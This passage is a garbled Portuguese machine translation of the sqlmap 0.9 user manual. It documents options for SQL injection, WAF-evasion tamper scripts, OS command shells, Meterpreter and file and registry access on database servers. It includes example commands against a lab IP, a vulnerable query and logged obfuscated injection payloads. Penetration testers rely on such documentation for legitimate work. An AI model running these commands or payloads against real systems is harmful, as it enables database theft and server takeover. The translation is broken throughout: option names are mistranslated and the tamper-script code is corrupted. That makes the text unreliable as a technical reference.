- Privilgios Enumerar os privilgios dos usurios DBMS
- Enumerar papis papis usurios DBMS
- Dbs Enumerate SGBD bases de dados
- Tabelas de banco de dados Enumerar tabelas DBMS
- Enumerar as colunas da tabela de banco de dados DBMS colunas
- Dump tabela DBMS entradas de dados
- Dump-tudo despejar todos os bancos de dados DBMS tabelas
entradas
- Buscar na coluna (s), mesa (s) e / ou o nome da base de dados
(s)
-D DB SGBD de banco de dados para enumerar
-T TBL tabela do banco DBMS para enumerar
C-COL DBMS coluna da tabela do banco de dados para enumerar
-U USURIO DBMS usurio para enumerar
- Excluem-sysdbs Excluir dados do sistema DBMS ao enumerar tabelas
- Start = entrada de sada LIMITSTART Primeiro consulta para
recuperar
- Parar = entrada de sada LIMITSTOP ltima consulta para
recuperar
- Primeiro = FIRSTCHAR primeira consulta personagem palavra de
sada para recuperar
- ltima = lastchar ltima consulta personagem palavra de sada
para recuperar
- Sql-query = instruo SQL para ser executado
- Sql-janela de comandos SQL para um shell interativo
Fora bruta:
Essas opes podem ser usadas para executar verificaes de fora
bruta.
- Comum mesas-Verificar a existncia de tabelas comuns

- Comum-colunas Verificar a existncia de colunas comuns


Definido pelo usurio injeo funo:
Essas opes podem ser usadas para criar personalizado funes
definidas pelo usurio.
- UDF injetar Injectar personalizados funes definidas pelo
usurio
- Shared-lib = caminho shlib local da biblioteca compartilhada
Acesso ao sistema de arquivos:
Essas opes podem ser usadas para acessar o banco de dados de
gesto de back-end
sistema de sistema de arquivos subjacente.
- Arquivo de ler = ARQUIVOREF Ler um arquivo do sistema de
arquivos de back-end DBMS
- Arquivo-write = WFILE Escreva um arquivo local no sistema de
arquivos de back-end DBMS
- Arquivo-dest = dfile Back-end DBMS caminho absoluto para
escrever
Operao de acesso ao sistema:
Essas opes podem ser usadas para acessar o banco de dados de
gesto de back-end
sistema de sistema operacional subjacente.
- Os-cmd = OSCMD Executa um comando do sistema operacional
- Os-janela de comandos para um shell interativo do sistema
operacional
- Os-pwn Prompt para um fora-de-banda-shell, Meterpreter ou VNC
- Os-Rel SMB Um clique em Escolher uma concha OOB, Meterpreter ou
VNC
- Os-bof procedimento armazenado explorao de buffer overflow
Escalada processo de Banco de Dados priv-esc "privilgio do
usurio - MSF-path = caminho MSFPATH local onde Metasploit Framework 3
instalado
- Tmp-path = TMPPATH caminho remoto absoluto do diretrio de
arquivos temporrios
Janelas de acesso ao registro:
Essas opes podem ser usadas para acessar o banco de dados de
gesto de back-end
sistema de registro do Windows.
- Reg leitura Ler um valor chave do registro do Windows
- Reg-adicionar Escreva um registro do Windows dados de valorchave
- Reg-del Excluir um Windows valor da chave de registro
- Reg-key = RegKey chave do registro do Windows
- Reg-valor = REGVAL o Windows valor da chave de registro
- Reg-de dados do Registro do Windows = Regdata principais dados
de valor
- Reg-type = regtype Windows tipo chave de registro
Geral:
Essas opes podem ser usadas para definir alguns parmetros
gerais de trabalho.
-T TRAFFICFILE Acesse todo o trfego HTTP em um arquivo de texto

-S SESSIONFILE Salvar e retomar todos os dados recuperados em um


arquivo de sesso
- Sesso de flush-arquivo de sesso Flush para alvo atual
- Fresh-consultas ignora os resultados da consulta armazenados no
arquivo de sesso
- Display eta para cada sada da hora prevista de chegada
- Atualizao Atualizao sqlmap
- Salvar Salvar opes em um arquivo de configurao INI
- Nunca lote pedir a entrada do usurio, utilize o comportamento
padro
Diversos:
- Alerta sonoro quando sql injection encontrado
- Verificao de carga-teste de deteco do IDS de cargas de
injeo
- Limpeza Limpe o DBMS por sqlmap UDF especfica e tabelas
- Analisa formas e formas de teste em url alvo
- GPage = Usar GOOGLEPAGE resultados do Google dork de nmero de
pgina especificado
- Page rank-page rank Display (PR) para resultados dork Google
- Analisa-erros de anlise DBMS mensagens de erro de pginas de
resposta
- Replicar Replicar despejado dados em um banco de dados sqlite3
- Usar o Tor padro Tor (Vidalia / Privoxy / Polipo) endereo de
proxy
- Assistente de interface de assistente simples para usurios
iniciantes

5,1 verbosidade de sada


Switch: -v
Essa opo pode ser usada para definir o nvel de detalhamento das
mensagens de sada. Existem sete nveis de detalhamento. O nvel padro
uma em que a informao, aviso de erro, e crtico mensagens e tracebacks
Python (se houver ocorrer) ser exibido.
0 : Ver tracebacks apenas Python, erro e mensagens crticas.
1 : Ver tambm informaes e mensagens de aviso.
2 : Ver tambm mensagens de depurao.
3 : Ver tambm cargas injetado.
4 : Ver tambm solicitaes HTTP.
5 : Ver tambm cabealhos de respostas HTTP.
6 : Ver tambm o contedo respostas HTTP 'pgina.
Um nvel razovel de detalhamento para entender melhor o que faz sqlmap
sob o cap de nvel 2 , principalmente para a fase de deteco e as
funcionalidades de aquisio. Considerando que se voc quiser ver as cargas
SQL as ferramentas envia, nvel 3 a sua melhor escolha. A fim de depurar
possveis erros ou comportamentos inesperados, recomendamos que voc
defina a verbosidade para o nvel 4 ou superior. Este nvel recomendado para
ser usado quando voc alimentar os desenvolvedores com um relatrio de bug
tambm.

5,2 Alvo
Pelo menos uma destas opes tem que ser fornecido.

URL de destino
Switch: -u ou - url
Executar sqlmap contra um URL nico alvo. Esta opo requer um argumento
que o URL de destino na forma http (s) :/ / TargetURL [: porta] /
[...] .
Analisar alvos de Burp ou logs de proxy WebScarab
Switch: lEm vez de fornecer uma URL de destino nico, possvel testar e injetar
contra solicitaes HTTP proxy atravs Burp procurao ou procurao
WebScarab Esta opo requer um argumento que o arquivo de log do proxy
HTTP solicitaes.
Carregar solicitao HTTP de um arquivo
Switch: -r
Uma das possibilidades de sqlmap est a carregar de pedido de HTTP a partir
de um ficheiro completo textual. Dessa forma, voc pode pular uso monte de
outras opes (por exemplo, configurao de cookies, dados postados, etc).
Contedo de amostra de um arquivo de solicitao HTTP fornecido como
argumento para esta opo:
POST / sqlmap / mysql / post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0
id = 1

Processo resulta dork do Google como endereos de destino


Switch: -g
Tambm possvel testar e injetar em GET parmetros sobre os resultados de
seu dork Google.
Esta opo faz sqlmap negociar com o motor de busca seu cookie de sesso
para ser capaz de realizar uma pesquisa, em seguida, ir recuperar sqlmap
Google primeiros 100 resultados para a expresso idiota Google
com GET parmetros perguntando se voc deseja testar e injetar em cada URL
possvel afetada .
Carregar opes de um arquivo de configurao INI
Switch: -c
possvel passar as opes do usurio a partir de um arquivo de configurao
INI, um exemplo sqlmap.conf .
Note que se voc tambm oferecem outras opes de linha de comando,
aqueles so avaliados durante a execuo sqlmap e substituir as previstas no
arquivo de configurao.

5,3 Pedido
Essas opes podem ser usadas para especificar como se conectar URL de
destino.
HTTP dados

Opo: - os dados dos


Por padro, o mtodo HTTP usado para executar solicitaes HTTP GET ,
mas voc pode mud-lo implicitamente de POST fornecendo os dados a serem
enviados nos POST pedidos. Tais dados, sendo estes parmetros, so testados
para a injeco de SQL, bem como qualquer fornecido GET parmetros.
HTTP Cookies cabealho
Switches: - biscoito- , - soltar-set-cookie e - -cookie-urlencode
Esta caracterstica pode ser til em duas formas:
A aplicao web requer autenticao baseada em biscoitos e voc tem
esses dados.
Voc deseja detectar e explorar a injeo de SQL em valores de
cabealho tais.
Ou razo traz a necessidade de enviar cookies com pedidos sqlmap, os passos
a percorrer so os seguintes:
Entre para a aplicao com o seu navegador favorito.
Obter o cookie HTTP de preferncias do navegador ou da tela proxy
HTTP e copiar para a rea de transferncia.
Volte para o seu shell e executar sqlmap colando sua prancheta como o
argumento do - cookie- switch.
Note que os HTTP Cookies valores de cabealho so geralmente separados por
um ; personagem, no por um & . sqlmap pode reconhec-las como conjuntos
separados de parmetro = valor tambm, assim como os parmetros GET e
POST.
Se a qualquer momento durante a comunicao, a aplicao web responde
com Set-Cookie cabealhos, sqlmap usar automaticamente o seu valor em
todas as outras solicitaes HTTP como o bolinho de cabealho. sqlmap
tambm automaticamente testar esses valores para injeo de SQL. Isto pode
ser evitado, fornecendo a chave - soltar-set-cookie - sqlmap ir ignorar
qualquer vinda Set-Cookie cabealho.
Vice-versa, se voc fornecer um HTTP Cookies cabealho
com - cookie- chave eo URL de destino envia um HTTP SetCookie cabealho a qualquer momento, sqlmap lhe perguntar qual conjunto de
cookies para utilizar para os seguintes pedidos HTTP.
sqlmap por padro se no Codifica uma URL de cargas cookie gerado, mas
voc pode for-lo usando o - urlencode-cookie- switch. Codificao de
contedo cookie no declarado por protocolo HTTP padro de qualquer
maneira, por isso apenas a questo do comportamento web aplicativo.
Note-se que tambm o HTTP Cookies cabealho testado contra injeo de
SQL, se o - nvel est definido para 2 ou acima. Leia abaixo para mais
detalhes.
HTTP User-Agent do cabealho
Switches: - usurio-agente- e - agente-aleatrio

Por padro sqlmap realiza solicitaes HTTP com o seguinte User-Agent valor
de cabealho:
sqlmap/0.9 (http://sqlmap.sourceforge.net)

No entanto, possvel fingir com o - user-agent- chave, fornecendo


personalizado User-Agent como argumento chave.
Alm disso, atravs da prestao de - agente-aleatrio switch, sqlmap ir
selecionar aleatoriamente um User-Agent do / txt / user
agents.txt. arquivo textual e us-lo para todas as solicitaes HTTP dentro
da sesso.
Alguns sites executar uma verificao do lado do servidor no HTTP UserAgent valor de cabealho e no a resposta HTTP se uma vlida User-Agent no
fornecido, o seu valor no o esperado ou est na lista negra por um firewall
de aplicao web ou sistema de preveno de intruso semelhante. Neste caso
sqlmap ir mostrar uma mensagem como segue:
[Hh: mm: 20] [ERROR] a URL de destino respondeu com um cdigo
desconhecido status HTTP, tente
forar o cabealho HTTP User-Agent com a opo - user-agent ou agente aleatrio

Note-se que tambm o HTTP User-Agent do cabealho testado contra


injeo de SQL, se o - nvel est definido para 3 ou superior. Leia abaixo
para mais detalhes.
HTTP Referer cabealho
Switch: - referer possvel falsificar o HTTP Referer valor de cabealho. Por
padro no HTTP Referer cabealho enviado em solicitaes HTTP se no
explicitamente definido.
Note-se que tambm o HTTP Referer do cabealho testado contra injeo de
SQL, se o - nvel est definido para 3 ou superior. Leia abaixo para mais
detalhes.
Extra HTTP cabealhos
Switch: - cabealhos
possvel fornecer extras cabealhos HTTP, definindo
o - cabealhos interruptor. Cada cabealho devem ser separados por uma
nova linha e muito mais fcil dar-lhes a partir do arquivo de configurao
INI. Ter um olhar para a amostra sqlmap.conf arquivo para um exemplo.
HTTP protocolo de autenticao
Switches: - Tipo-auth- e - -auth-cred
Essas opes podem ser usadas para especificar qual protocolo de
autenticao HTTP os implementos do servidor web e as credenciais vlidas
para ser usados para executar todas as solicitaes HTTP para o aplicativo de
destino.
Os trs mecanismos de autenticao suportados HTTP de protocolo so:

Bsico
Digerir

NTLM

Embora a sintaxe as credenciais ' usurio:


Exemplo de sintaxe vlida:

senha

$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
- Auth-Tipo bsico - auth-cred "testuser: testpass"

HTTP autenticao de certificado de protocolo


Switch: - auth-cert
Essa opo deve ser usada nos casos em que o servidor web requer certificado
de cliente adequado para autenticao. Valores fornecidos deve ser na
forma: key_file, cert_file , onde key_file deve ser o nome de um arquivo
formatado PEM que contm sua chave privada, enquanto cert_file deve ser o
nome de um arquivo formatado PEM cadeia de certificado.
Proxy HTTP (S)
Switches: - proxy , - -proxy-cred , - ignore-proxy- e - tor possvel fornecer um endereo de proxy HTTP (S) para passar pelo (S) de
HTTP para pedidos de URL do alvo. A sintaxe do valor de proxy HTTP (S)
http://url:port .
Se o proxy HTTP (S) requer autenticao, voc pode fornecer as credenciais
no formato usurio: senha para o - cred-proxy- switch.
Se, por qualquer razo, voc precisa ficar annimo, em vez de passar por um
nico HTTP pr-definido (S) do servidor proxy, voc pode configurar
um cliente Tor juntamente com Privoxy (ou similar) em sua mquina, como
explicado no guia do cliente Tor e usar o daemon Privoxy, por padro
escutando em 127.0.0.1:8118 , como o proxy sqlmap simplesmente
fornecendo a ferramenta com o - tor- chave em vez de - proxy .
O switch - ignorar-proxy deve ser usado quando voc deseja executar sqlmap
contra uma parte de destino de uma rede de rea local, ignorando o conjunto
de todo o sistema HTTP (S) configurao do servidor proxy.
Atraso entre cada solicitao HTTP
Switch: - atrasar possvel especificar um nmero de segundos para segurar entre cada
solicitao HTTP (S). O valor vlido uma bia, por exemplo, 0,5 significa
meio segundo. Por padro, nenhum atraso definido.
Segundos para esperar antes de tempo limite de conexo
Switch: - -timeout
possvel especificar um nmero de segundos a aguardar antes de considerar
a solicitao HTTP (S) expirou. O valor vlido uma bia, por exemplo, 10,5
significa dez segundos e meio. Por padro 30 segundo esto definidos.
Nmero mximo de tentativas de conexo quando os timeouts HTTP
Switch: - -retries

possvel especificar o nmero mximo de novas tentativas, quando os


tempos de espera de HTTP (S) de ligao. Por padro ele tentativas de at trs
vezes .
Filtragem de metas de log de proxy fornecido usando expresso regular
Switch: - escopo
Ao invs de usar todos os hosts interpretados a partir logs fornecidos com
chave de l- , voc pode especificar expresso Python regular vlida para ser
usada para filtrar os desejados.
Exemplo de sintaxe vlida:
$ Python burp.log sqlmap.py-l - scope = "(www) \ target \?.. (Com |
net | org)"

Evite a sesso a ser destrudo aps muitos pedidos de infrutferas


Switches: - url-seguro- e - seguro-freq
s vezes, as aplicaes web ou tecnologia de inspeo entre destri a sesso
se um certo nmero de pedidos sem xito realizada. Isto pode ocorrer
durante a fase de deteco de sqlmap ou quando se tira partido de qualquer um
dos tipos de injeco cegos SQL. Razo que a carga SQL no
necessariamente retorna de sada e pode, portanto, levantar um sinal para o
gerenciamento de sesso do pedido ou da tecnologia de inspeo.
Para contornar esta limitao definido pelo destino, voc pode fornecer duas
opes:
- seguro-url : endereo URL para visitar com freqncia durante os
testes.
- seguro-freq : pedidos de teste entre duas visitas a um determinado
URL segura.
Desta forma, sqlmap vai visitar cada um nmero pr-definido de pedidos de
um certo segura de URL sem realizar qualquer tipo de injeo contra ele.

5,4 Otimizao
Essas opes podem ser usadas para otimizar o desempenho de sqlmap.
Bundle otimizao
Switch: -o
Este switch um apelido que implicitamente define os seguintes parmetros:

- keep-alive- nulo conexo

no se configurado para um valor maior.


Leia abaixo para detalhes sobre cada interruptor.
Previso de sada
Switch: - PREDICT-sada
Esta opo usada em algoritmo de inferncia de previso estatstica
seqencial de caracteres do valor a ser recuperados. Tabela estatstica com os
valores de carcter mais promissores est a ser construdo com base nos
pontos indicados em txt / common-outputs.txt combinada com o
conhecimento de enumerao de corrente utilizada. No caso em que o valor

- 3 de segmentos

pode ser encontrado entre os valores de sada comuns, como o processo


progride, tabelas de caracteres subsequentes esto a ser cada vez mais
reduzido. Se for utilizado em combinao com a recuperao de entidades
comuns DBMS, como acontece com os nomes dos sistemas de mesa e
privilgios, acelerar significativa. claro, voc pode editar as sadas comuns
arquivo de acordo com suas necessidades, se, por exemplo, voc observa
padres comuns em nomes de banco de dados de mesa ou semelhantes.
Note-se que essa opo no compatvel com - tpicos- chave.
HTTP Keep-Alive
Switch: - keep-aliveEsta opo instrui sqlmap usar HTTP persistentes (s) conexes.
Note-se que essa opo incompatvel com - proxy- switch.
HTTP com NULL
Switch: - nulo conexo
Existem tipos especiais de solicitao HTTP que pode ser usado para
recuperar o tamanho de resposta HTTP, sem conseguir o corpo HTTP. Esse
conhecimento pode ser usado a tcnica de injeco cega para
distinguirverdadeira de falsos respostas. Quando este parmetro fornecido,
sqlmap vai tentar testar e explorar duas diferentes NULL
conexo tcnicas: Escala e CABEA . Se qualquer um destes suportado pelo
servidor web de destino, acelerar vir da economia bvia de largura de banda
utilizada.
Estas tcnicas so detalhados no documento de ruptura performances em
Blind SQL Injection - Take 2 (largura de banda) .
Note-se que essa opo incompatvel com - somente texto- chave.
Simultneas de HTTP (S) pedidos
Switch: - -threads
possvel especificar o nmero mximo de concorrentes HTTP (S) solicita
que sqlmap permitido fazer. Este recurso baseia-se na multithreading conceito e herda tanto pro seu e os seus contras.
As caractersticas deste aplica aos interruptores de fora bruta, e quando a
busca de dados feita atravs de qualquer uma das tcnicas de injeco cegos
SQL. Para o ltimo caso, sqlmap primeiro calcula o comprimento da sada da
consulta em um nico segmento, comea ento o multi-threading. Cada
segmento atribudo para recuperar um carter de sada da consulta. O fio
termina quando o personagem recuperado - que leva at 7 HTTP (S)
solicitaes com o algoritmo de bisseco implementado em sqlmap.
O nmero mximo de solicitaes simultneas est definido para 10 de
desempenho e razes de confiabilidade do site.
Note-se que essa opo no compatvel com - de prever sada de switch.

5,5 Injeo

Essas opes podem ser usadas para especificar quais os parmetros para
testar, fornecer cargas de injeo personalizados e roteiros opcionais
adulterao.
Testvel parmetro (s)
Switch: -p
Por padro, todos os testes sqlmap GET parmetros e POST parmetros. Quando
o valor de - nvel for> = 2 testa tambm HTTP Cookies valores de
cabealho. Quando este valor for> = 3 testa tambm HTTPUser-Agent e
HTTP Referer valor de cabealho para injees SQL. No entanto, possvel
especificar manualmente uma lista separada por vrgula de parmetro (s) que
deseja sqlmap para testar. Isso ir ignorar a dependncia do valor
de - nvel tambm.
Por exemplo, para testar parmetro GET ID e para HTTP User-Agent s
fornecer, -p id, user-agent .
Forar o banco de dados de nome de sistema de gesto
Switch: - dbmsPor padro sqlmap detecta automaticamente a aplicao web back-end sistema
de gerenciamento de banco de dados. A partir da verso 0,9 , sqlmap apoia
plenamente os sistemas de gerenciamento de banco de dados a seguir:
MySQL
Orculo
PostgreSQL
Microsoft SQL Server
Microsoft Access
SQLite
Firebird
Sybase
SAP MaxDB
Se, por qualquer razo sqlmap no consegue detectar o DBMS back-end, uma
vez por injeo de SQL tenha sido identificado ou se voc quiser evitar uma
fingeprint ativa, voc pode fornecer o nome do back-end DBMS-se (por
exemplo postgresql ). Para o MySQL e Microsoft SQL Server fornecer-lhes,
respectivamente, na forma MySQL <verso> e Microsoft SQL Server <verso> ,
onde <verso> uma verso vlida para o SGBD, por exemplo 5,0 para o
MySQL e 2005 para o Microsoft SQL Server.
No caso de voc fornecer - impresso digital em conjunto com - , dbms ,
sqlmap apenas realizar a impresso digital extensivo para o sistema especfico
de gesto de dados nico, leia abaixo para mais detalhes.
Note-se que esta opo no obrigatrio e altamente recomendvel uslo somente se voc tem certeza absoluta sobre o sistema de gerenciamento
de banco de dados de back-end. Se voc no sabe, deixe sqlmap impresses
digitais automaticamente para voc.

Forar o banco de dados do sistema de gesto nome do sistema


operacional
Switch: - -os
Por padro sqlmap detecta automaticamente a aplicao web back-end sistema
de gerenciamento de banco de dados subjacente do sistema operacional
quando esta informao uma dependncia de qualquer outra chave
fornecida. No momento em que os sistemas operacionais suportados so dois:
Linux
Windows
possvel forar o nome do sistema operacional, se voc j sabe que para que
sqlmap vai evitar faz-lo em si.
Note-se que esta opo no obrigatrio e altamente recomendvel uslo somente se voc tem certeza absoluta sobre o back-end do sistema de
gesto de banco de dados do sistema operacional subjacente. Se voc no
sabe, deixe sqlmap identificar automaticamente para voc.
Carga injeo personalizado
Switches: - prefixo- e - sufixoEm algumas circunstncias, o parmetro vulnervel explorvel apenas se o
utilizador fornece um sufixo especfico a ser acrescentada carga de
injeco. Outro cenrio em que estas opes vir a calhar se apresenta quando
o usurio j sabe que a sintaxe de consulta e deseja detectar e explorar a
injeo de SQL, diretamente fornecendo um prefixo e sufixo carga injeo.
Exemplo de cdigo fonte vulnerveis:
$ Query = "SELECT * FROM users WHERE id = (" $ _GET. ['Id'] "LIMIT 0,
1. ')";

Para detectar e explorar essa injeo de SQL, voc pode deixar sqlmap
detectar os limites (como na combinao de SQL prefixo e sufixo de carga)
para voc durante a fase de deteco, ou fornec-los em seu prprio pas. Por
exemplo:
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-P id - prefixo "')" - o sufixo "E (' abc '=' abc"
[...]

Isto ir resultar em todos os pedidos sqlmap acabar em uma consulta da


seguinte forma:
$ Query = "SELECT * FROM users WHERE id = ('1 ') <PAYLOAD> E (' abc
'=' abc ') LIMIT 0, 1";

O que torna a consulta sintaticamente corretas.


Neste exemplo simples, sqlmap pode detectar a injeo de SQL e explor-lo
sem a necessidade de fornecer limites personalizados, mas s vezes na
aplicao real do mundo necessrio para fornec-lo quando o ponto de
injeo est dentro aninhada Cadastre-se consultas, por exemplo.
Adulterar dados de injeo
Switch: - adulterar-

sqlmap em si no faz ofuscamento da carga enviada, exceto para strings entre


aspas simples substitudos por seus CHAR () -representao iguais.
Esta opo pode ser muito til e poderosa em situaes em que h um
mecanismo de validao de entrada fraco entre voc eo back-end sistema de
gerenciamento de banco de dados. Este mecanismo geralmente um autodesenvolvimento de rotina de validao de entrada chamado pelo cdigo fonte
da aplicao, um cara de classe empresarial aparelho IPS ou um firewall de
aplicao web (WAF). Todos os chaves para definir o mesmo conceito,
implementado de uma maneira diferente e custando muito dinheiro,
normalmente.
Para aproveitar essa opo, proporcionar sqlmap com uma lista separada por
vrgula de scripts de adulterao e este ir processar a carga e devolv-lo
transformado. Voc pode definir seus scripts tamper prprias, utilize os
sqlmap da adulterao / pasta ou edit-los, desde que voc concatenar-los
separados por vrgula como o argumento de - alter- switch.
O formato de um script tamper vlida a seguinte:
Importaes # Necessrios
de lib.core.enums PRIORIDADE importao
# Definir qual a ordem de aplicao de scripts tamper contra a carga
__priority__ = PRIORITY.NORMAL
def tamper (carga til):
'' '
Descrio do seu script de adulterao
'' '
carga = retVal
# Seu cdigo para adulterar a carga original de
# Voltar a carga adulterada
voltar retVal

Voc pode verificar os scripts de adulterao vlidos e utilizveis


na adulterao / diretrio.
Exemplo contra um alvo MySQL assumindo que > caracteres, espaos e de
capital SELECIONAR cordas so proibidos:
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?
id=1" - adulterar \
adulterar / tamper between.py, / randomcase.py,
tamper/space2comment.py-v 3
[Hh: mm: 03]
[Hh: mm: 03]
[Hh: mm: 03]
[Hh: mm: 03]
[...]
[Hh: mm: 04]
clusula'
[Hh: mm: 04]
** / (4092 =
[Hh: mm: 04]
(4057 = 4057

[DEBUG] limpeza parmetros de configurao


[INFO] script de adulterao de carga "entre"
[INFO] 'randomcase' script adulterao de carga
[INFO] 'space2comment' script adulterao de carga
[INFO] testing 'E booleano baseado cego - WHERE ou HAVING
[PAYLOAD] 1) / ** / And / ** / 1369 = 7706 / ** / And /
4092
[PAYLOAD] 1) / ** / E / ** / 9267 = 9267 / ** / E / ** /

[Hh: mm: 04] [PAYLOAD] 1 / ** / e / ** / 950 = 7041


[...]
[Hh: mm: 04] [INFO] testing 'MySQL> = 5,0 e erro-based - WHERE ou
HAVING clusula'
[Hh: mm: 04] [PAYLOAD] 1 / ** / e / ** / (SELECT CHAR / ** / 9921 / **
/ FROM (SELECT / ** / count (*), CONCAT ((
58,117,113,107,58), (SELECT / ** / (caso / ** / quando / ** / (9921 =
9921) / ** / Ento / ** / 1 / ** / else / ** / 0 / ** /
FIM)), Char (58,106,104,104,58), FLOOR (rand (0) * 2)) x / ** / de /
** / / ** / information_schema.tables
grupo / ** / por / ** / x) a)
[Hh: mm: 04] [INFO] GET 'id' parmetro 'MySQL> = 5,0 e erro-based WHERE ou HAVING
clusula "injetvel
[...]

5,6 Deteco
Essas opes podem ser usadas para especificar a forma de analisar e
comparar o contedo da pgina de respostas HTTP quando utilizando a
tcnica de injeo SQL cego.
Nvel
Switch: - nvel de
Esta opo requer um argumento que especifica o nvel de testes a
executar. H cinco nveis. O valor padro um onde o nmero limitado de
testes (pedidos) so realizadas. Vice-versa, de nvel 5 vai testar com detalhes
para um nmero muito maior de cargas e fronteiras (como no par de SQL
prefixo e sufixo de carga til). As cargas utilizadas por sqlmap so
especificados no arquivo textual xml / payloads.xml . Seguindo as instrues
no incio do arquivo, se sqlmap perde uma injeo, voc deve ser capaz de
adicionar a sua prpria carga (s) para testar tambm!
No s isso afeta interruptor que sqlmap carga tenta, mas tambm quais os
pontos de injeo so tomadas em exame: parmetros GET e POST
so sempre testados, valores de cabealho HTTP Cookies so testados a partir
do nvel 2 e valor HTTP User-Agent/Referer cabealhos ' testado a partir de
nvel 3 .
Tudo em tudo, o que mais difcil de detectar uma injeo de SQL, maior
a - nvel deve ser definido.
Recomenda-se vivamente a este valor mais alto, antes de apresentar a lista de
discusso que sqlmap no capaz de detectar um ponto de injeco certo.
Risco
Switch: - risco
Esta opo requer um argumento que especifica o risco de testes a
executar. Existem quatro valores de risco. O valor padro um que incuo
para a maioria dos pontos de injeo SQL. Valor de risco 2 adiciona para o
nvel padro dos testes para consulta pesadas injees de SQL baseados no
tempo e valor de 3 adiciona tambm OU baseados em testes de injeo SQL.
Em alguns casos, como uma injeo de SQL em uma ATUALIZAO declarao,
injetando uma OU carga baseada pode levar a uma atualizao de todas as

entradas da tabela, o que certamente no o que o atacante quer. Por este


motivo e outros, esta mudana foi introduzida: o usurio tem controle sobre
quais cargas fazer o teste, o usurio pode escolher arbitrariamente a usar
tambm os potencialmente perigosos. Como por a chave anterior, as cargas
utilizadas por sqlmap so especificados no arquivo textual xml /
payloads.xml e voc est livre para editar e adicionar o seu dono.
Comparao pgina
Switches: - cordas , - regexp- e - , somente texto
Por padro, a distino de uma verdadeira consulta por um falso (um
conceito bruto por trs boolean baseados em vulnerabilidades de injeo SQL
cegos) feito comparando o contedo da pgina injetada pedidos com o
contedo da pgina original no injetados. Nem sempre esse conceito
funciona porque s vezes as mudanas de pginas de contedo em cada
atualizao nem injetar alguma coisa, por exemplo, quando a pgina tem um
contador, uma faixa de anncio dinmico ou qualquer outra parte do HTML
que processado de forma dinmica e pode mudar com o tempo, no s
consequentemente, para a entrada do usurio. Para contornar esse limite,
sqlmap se esfora para identificar esses trechos dos corpos de resposta e tratar
adequadamente. s vezes pode falhar, por isso que o usurio pode fornecer
uma string ( - corda switch) que semprepresente na pgina no
injectada e em todas as pginas de consulta Verdadeiros injetados, mas que
no sobre os falsos. Como uma alternativa para uma cadeia esttica, o
utilizador pode fornecer uma expresso regular ( - regexp- chave).
Tais dados fcil para um usurio para recuperar, simplesmente tentar injetar
no parmetro afetado um valor invlido e comparar manualmente o contedo
da pgina original (no injetado) com o contedo da pgina injetado
errado. Desta forma, a distino ser baseada na presena string ou expresso
regular.
Nos casos com grande quantidade de contedo ativo (por exemplo, scripts,
incorpora, etc) no corpo as respostas HTTP ", voc pode filtrar pginas
( - texto somente switch) apenas pelo seu contedo textual. Dessa forma, em
um bom nmero de casos, voc pode ajustar automaticamente o motor de
deteco.

5,7 Tcnicas
Essas opes podem ser usadas para ajustar ensaio de tcnicas de injeo de
SQL especficas.
Tcnicas de injeo SQL para testar
Switch: - tcnicaEssa opo pode ser usada para especificar que tipo de injeo SQL para
testar. Por testes padro sqlmap para todos os tipos / tcnicas que ele suporta.
Em certas situaes, voc pode querer testar apenas para um ou poucos tipos
especficos de SQL pensamento injeo e a que este interruptor entra em
jogo.

Esta opo requer um argumento. Este argumento uma cadeia de caracteres


composta por qualquer combinao de B , E , L , S e T caracteres em que cada
letra representa uma tcnica diferente:
B : Boolean baseada em injeo de SQL cego
E : Erro baseada em injeo de SQL
U : UNIO consulta SQL injection
S : Stacked consultas SQL injection
T : Time-base de injeo SQL cego
Por exemplo, voc pode fornecer ES se voc quiser testar e explorar erro de
base e empilhados consultas SQL tipos de injeco s. O valor padro
Beust .
Note-se que a cadeia deve incluir carta tcnica empilhados consultas, S ,
quando voc quiser acessar o sistema de arquivos, aquisio do sistema
operacional ou urticria acesso ao Registro do Windows.
Segundos para atrasar a resposta para DBMS baseado no tempo de
injeo SQL cego
Switch: - tempo-sec
possvel ajustar os segundos para retardar a resposta ao teste de tempo com
base em injeco de SQL cego, ao proporcionar o - -tempo-sec opo seguida
por um nmero inteiro. Por padro atraso est definido para 5 segundo .
Nmero de colunas na consulta UNIO injeo de SQL
Switch: - sindicato-cols
Por testes padro para sqlmap UNIO tcnica de injeo de consulta SQL
usando 1-10 colunas. No entanto, este intervalo pode ser aumentado at 50
colunas, fornecendo uma maior - - nvel de valor. Veja o pargrafo relevante
para mais detalhes.
Voc pode dizer manualmente sqlmap para testar este tipo de injeo de SQL
com um intervalo especfico de colunas, fornecendo a ferramenta com o - sindical-cols interruptor seguido por uma srie de nmeros inteiros. Por
exemplo, 12-16 significa UNIO testes para injeo de consulta SQL usando
12 at 16 colunas.
Personagem de usar para testar a UNIO consulta SQL injection
Switch: - -sindical-char
Por testes padro para sqlmap UNIO tcnica de injeo de consulta SQL
usando NULL personagem. No entanto, proporcionando um
maior - - nvel sqlmap valor ser tambm realiza testes com um nmero
aleatrio, porque h alguns casos de canto, onde testes de consulta unio
com NULL falham enquanto que com um nmero inteiro aleatrio eles
conseguem.
Voc pode dizer manualmente sqlmap para testar este tipo de injeo de SQL
com um personagem especfico, fornecendo a ferramenta com o - sindicatochar- chave, seguido por uma corda.

5,8 Fingerprint
Extenso banco de dados de impresses digitais do sistema de gesto
Switches: -f ou - impresso digital
Por padro, o aplicativo web do back-end de banco de dados de impresses
digitais do sistema de gesto feita automaticamente pelo sqlmap. Apenas
aps a concluso da fase de deteco eo usurio acaba sendo solicitado com
uma escolha de qual parmetro vulnervel a usar mais adiante, impresses
digitais sqlmap o sistema de gesto de back-end de banco de dados e carrega
consigo a injeo por saber qual a sintaxe SQL dialeto, e consultas para usar a
prosseguir com o ataque dentro dos limites do banco de dados da arquitectura.
Se, por qualquer instncia que voc deseja realizar um extenso banco de dados
de impresses digitais do sistema de gesto com base em vrias tcnicas como
dialetos SQL especficos e mensagens de erro inband, voc pode fornecer
o - impresso digital switch. sqlmap ir realizar pedidos muito mais e
impresso digital a verso DBMS exata e, sempre que possvel, de sistema
operacional, arquitetura e patch.
Se voc quiser que a impresso digital a ser resultado ainda mais preciso, voc
tambm pode fornecer a -b ou - banner- switch.

5,9 Enumerao
Essas opes podem ser usadas para enumerar o back-end de banco de dados
de gerenciamento de informaes do sistema, estrutura e dados contidos nas
